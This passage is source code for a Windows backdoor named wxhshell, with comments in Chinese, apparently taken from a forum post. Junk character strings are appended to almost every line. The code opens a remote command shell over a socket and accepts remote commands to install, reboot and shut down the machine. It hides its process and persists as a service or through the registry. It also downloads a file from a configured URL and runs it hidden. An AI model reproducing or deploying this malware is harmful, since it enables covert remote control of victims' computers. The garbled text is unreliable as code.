CugZ!>;^  
    switch(cmd[0]) { ?9>wG7cps7  
  I8c:U2D  
  // 帮助 `\'V]9wS  
  case '?': { PHJHW#sv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C6Cr+TScH  
    break; Ikw.L  
  } Xk1uCVUe5  
  // 安装 #l@P}sHXq  
  case 'i': { 'z{|#zd9  
    if(Install()) YV} "#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r4<As`&  
    else !b&+2y2i[W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,*YmXR-"  
    break; 5z2("[8L&  
    } u,{R,hTDS  
  // 卸载 4S4gK   
  case 'r': { pjQyN|KS  
    if(Uninstall()) 1yqsE`4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TL)7X.1'L  
    else k~3\0man  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  <4< y  
    break; $G{j[iLY  
    } y%x:~.  
  // 显示 wxhshell 所在路径 (nXnP{yb  
  case 'p': { ,In%r`{i  
    char svExeFile[MAX_PATH]; s {^wr6B  
    strcpy(svExeFile,"\n\r"); HF"TS*  
      strcat(svExeFile,ExeFile); IP@3R(DS%  
        send(wsh,svExeFile,strlen(svExeFile),0); U$3DIJVI  
    break; 8@LUL)"  
    } 9%53 _nx?  
  // 重启 >P:U9 b  
  case 'b': { q+2A>:|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fE_%,DJE(  
    if(Boot(REBOOT)) `& '{R<cL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #9 Fk&Lx  
    else { m)  rVzL  
    closesocket(wsh); !m%'aQHH(  
    ExitThread(0); ef_H*e  
    } lw99{y3<<  
    break; E'98JZ5ga  
    } (y~%6o6  
  // 关机 )=`DEbT  
  case 'd': { `'>~(8&zE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R eb.x_  
    if(Boot(SHUTDOWN)) Q1ayd$W@<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <mj/P|P@  
    else { }q'IY:r  
    closesocket(wsh); U OGjil{.  
    ExitThread(0); v*FbvrY  
    } [@JK|50|K  
    break; +u*Pi  
    } ;#S]mso1  
  // 获取shell /xcXd+k]  
  case 's': { t;/uRN*.  
    CmdShell(wsh); <m\<yZ2aa  
    closesocket(wsh); mBb3Ta  
    ExitThread(0); iH@u3[w  
    break; ~WORC\kCW  
  } AzSu_  
  // 退出 uK`gveY  
  case 'x': { >d&0a:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D _[NzCv<-  
    CloseIt(wsh); <SQR";  
    break;  "\T-r2  
    } V6'u\Ch|  
  // 离开 h::(b,|f7  
  case 'q': { z^jmf_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^suQ7#g  
    closesocket(wsh); hdcB*j?4  
    WSACleanup(); i+_=7(e  
    exit(1); VzIZT{  
    break; HY1K(T  
        } 1]5k l J  
  } < W`gfpzO  
  } ]z8/S!?  
Yw]$/oP`  
  // 提示信息  8y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *o\AP([@  
} >~]|o   
  } a5saN5)H  
{ dh,sbl  
  return; H&%oHyK  
} &4sz:y4T>  
e`H>}O/ai  
// shell模块句柄 O[eU{ ;P  
int CmdShell(SOCKET sock) X }i2qv  
{ US3)+6  
STARTUPINFO si; 9I2&Vx=DSt  
ZeroMemory(&si,sizeof(si)); 0#Pa;(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .VNz( s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; , V,Q(!$F  
PROCESS_INFORMATION ProcessInfo; m@+QC$6S  
char cmdline[]="cmd"; qV idtSb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &JKQH  
  return 0; doe3V-if  
} 0^nF : F  
0Z]HH+Z;  
// 自身启动模式 T3<1{"&  
int StartFromService(void) Ba5*]VGG  
{ O(2c_!d  
typedef struct Eu~1t& 4  
{ wB' !@>db  
  DWORD ExitStatus; wIR"!C>LE  
  DWORD PebBaseAddress;  f+ !J1  
  DWORD AffinityMask; Y?7GFkIP$  
  DWORD BasePriority; ~av#r=x  
  ULONG UniqueProcessId; LAnC8O  
  ULONG InheritedFromUniqueProcessId; !OQ5AF$  
}   PROCESS_BASIC_INFORMATION; 4)k-gKS*  
rNo/H<J%+j  
PROCNTQSIP NtQueryInformationProcess; mSYm18   
>5Lp;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `q* p-Ju'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~x/ka43  
@#hvQ6u  
  HANDLE             hProcess; = M4:nt  
  PROCESS_BASIC_INFORMATION pbi; iR./9}Ze  
=T6 ~89  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^b`-zFL7  
  if(NULL == hInst ) return 0; O9_1a=M  
(n: A` ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XNfl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hY%} x5ntU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @x}^2FE  
k'N``.  
  if (!NtQueryInformationProcess) return 0; O CIoY?a  
yocFdI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4e eh+T  
  if(!hProcess) return 0; RXcN<Y&  
!G[%; d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~/)]`w  
dI%ho<zm]  
  CloseHandle(hProcess); m a@V>*u  
#qF 1z}L(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R) dP=W*  
if(hProcess==NULL) return 0; r)Lm| S  
.I_<\h7  
HMODULE hMod; 5p}j{f  
char procName[255]; 4k3pm&  
unsigned long cbNeeded; $oM>?h_ =  
1L'Q;?&2H,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3RGmmX"?G  
`{h)-Y``  
  CloseHandle(hProcess); IQtQf_"e1  
{r;_nMfH|[  
if(strstr(procName,"services")) return 1; // 以服务启动 kRwUR34yc  
X=abaKl  
  return 0; // 注册表启动 f~Pce||e  
} irq{ 21  
uKXD(lzX  
// 主模块 "M-';;  
int StartWxhshell(LPSTR lpCmdLine) 9$e$L~I#u  
{ l4r >#n\yj  
  SOCKET wsl; ];6955I!  
BOOL val=TRUE; 0asP,)i  
  int port=0; Me? I8:/  
  struct sockaddr_in door; .N.RpRz{f  
~&RrlFh  
  if(wscfg.ws_autoins) Install(); X])iQyN  
!vJ$$o6#  
port=atoi(lpCmdLine); <bo)p6S&  
v6=%KXSF  
if(port<=0) port=wscfg.ws_port; PMbZv%.,-  
oOvQA W8`  
  WSADATA data; un~`|   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l5VRdZ4Uf  
Q8h0.(#-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =. \hCgq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %dW ;P[0  
  door.sin_family = AF_INET; uQx/o ^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B|"i`{>  
  door.sin_port = htons(port); Keo<#Cc?  
hF@%k ;I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zng.(]U/?H  
closesocket(wsl); ovM;6o  
return 1; n YUFRV$  
} (.@peHu)#  
=M*pym]QSY  
  if(listen(wsl,2) == INVALID_SOCKET) { -2[4 @  
closesocket(wsl); BgT ^  
return 1; S#8)N`  
} TB.>?*<n]  
  Wxhshell(wsl); - QY<o|  
  WSACleanup(); W]7<PL*u  
i\/'w]  
return 0; 3~3tjhw;]9  
NNqvjM-  
} k,=<G ,  
]N'% l]_$  
// 以NT服务方式启动 m3pDFI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6=$<R4B  
{ ]jVE  
DWORD   status = 0; xl,% Z~[  
  DWORD   specificError = 0xfffffff; |X A0F\  
w5PscEc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %(khE-SW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fw,,cu`YA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m{RXt  
  serviceStatus.dwWin32ExitCode     = 0; %} zkmEY.e  
  serviceStatus.dwServiceSpecificExitCode = 0; [Z:P{yr  
  serviceStatus.dwCheckPoint       = 0; inO;Uwlv  
  serviceStatus.dwWaitHint       = 0; u1y>7,Z6W  
8/tB?j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *aM7d>nG5  
  if (hServiceStatusHandle==0) return; j_}:=3  
0%L:jq{5  
status = GetLastError(); @M<qz\ [  
  if (status!=NO_ERROR) =6:9y}~  
{ y6d!?M(0U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YzG?K0O%  
    serviceStatus.dwCheckPoint       = 0; 2[pOGc$  
    serviceStatus.dwWaitHint       = 0; 2>k*9kyp  
    serviceStatus.dwWin32ExitCode     = status; SZrc-f_  
    serviceStatus.dwServiceSpecificExitCode = specificError; rYdNn0mh k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "xTVu57Z[  
    return; f9>pMfi:@  
  } yBs-bp"-  
WLj]EsA.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >%92,hg  
  serviceStatus.dwCheckPoint       = 0; !<~.>5UQ  
  serviceStatus.dwWaitHint       = 0; + <E zv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :ZB.I(v  
} `{ >/'o  
,qp8Rg|3j  
// 处理NT服务事件,比如:启动、停止 3]JJCaf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ."BXA8c;A  
{ ;4b=/1M'  
switch(fdwControl) ^ /G ;  
{ d-Z2-89K  
case SERVICE_CONTROL_STOP: +VW8{=$  
  serviceStatus.dwWin32ExitCode = 0; jG{?>^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 08^f|K  
  serviceStatus.dwCheckPoint   = 0; `!I/6d?A  
  serviceStatus.dwWaitHint     = 0; )=K8mt0qob  
  { U@yhFj_y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~%h )G#N  
  } |?^qs nB  
  return; Ieq_XF]U  
case SERVICE_CONTROL_PAUSE: }ixCbuD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z{1A x  
  break; UTu~"uCR  
case SERVICE_CONTROL_CONTINUE: \VOv&s;h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; viYrPhH+z  
  break; YfT D  
case SERVICE_CONTROL_INTERROGATE: FT6CKsM"  
  break; o*7NyiJ@z  
}; 6U8esPs,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sj/k';#g  
} Jv3G\9_  
 C&qo$C  
// 标准应用程序主函数 1U/9=b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qP;1LAX  
{ RZ{O6~VH  
4FYV]p8f  
// 获取操作系统版本 [c1Gq)ht  
OsIsNt=GetOsVer(); pl@K"PRE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G?,3Zn0  
.J @mpJdY  
  // 从命令行安装 ]5a3e+  
  if(strpbrk(lpCmdLine,"iI")) Install(); /2=9i84  
PD S( /x&  
  // 下载执行文件 w<!,mL5 N  
if(wscfg.ws_downexe) { \l3z <\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =d"5k DK-m  
  WinExec(wscfg.ws_filenam,SW_HIDE); LD?\gK "  
} )mN/e+/Lu  
7\g#'#K  
if(!OsIsNt) { jf;n*  
// 如果时win9x,隐藏进程并且设置为注册表启动 b#6mUl2  
HideProc(); ;/4x.t#b  
StartWxhshell(lpCmdLine); F`e E*&  
} pO)EYla9  
else i;]0>g4  
  if(StartFromService()) MYVVI1A  
  // 以服务方式启动 *u|1Z%XO  
  StartServiceCtrlDispatcher(DispatchTable); PPG+~.7  
else |n;);T(  
  // 普通方式启动 1I'Q{X&B  
  StartWxhshell(lpCmdLine); OYWHiXE6]  
4*f+np  
return 0; *mj=kJ7(  
}
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只看该作者 1 发表于: 2006-10-10
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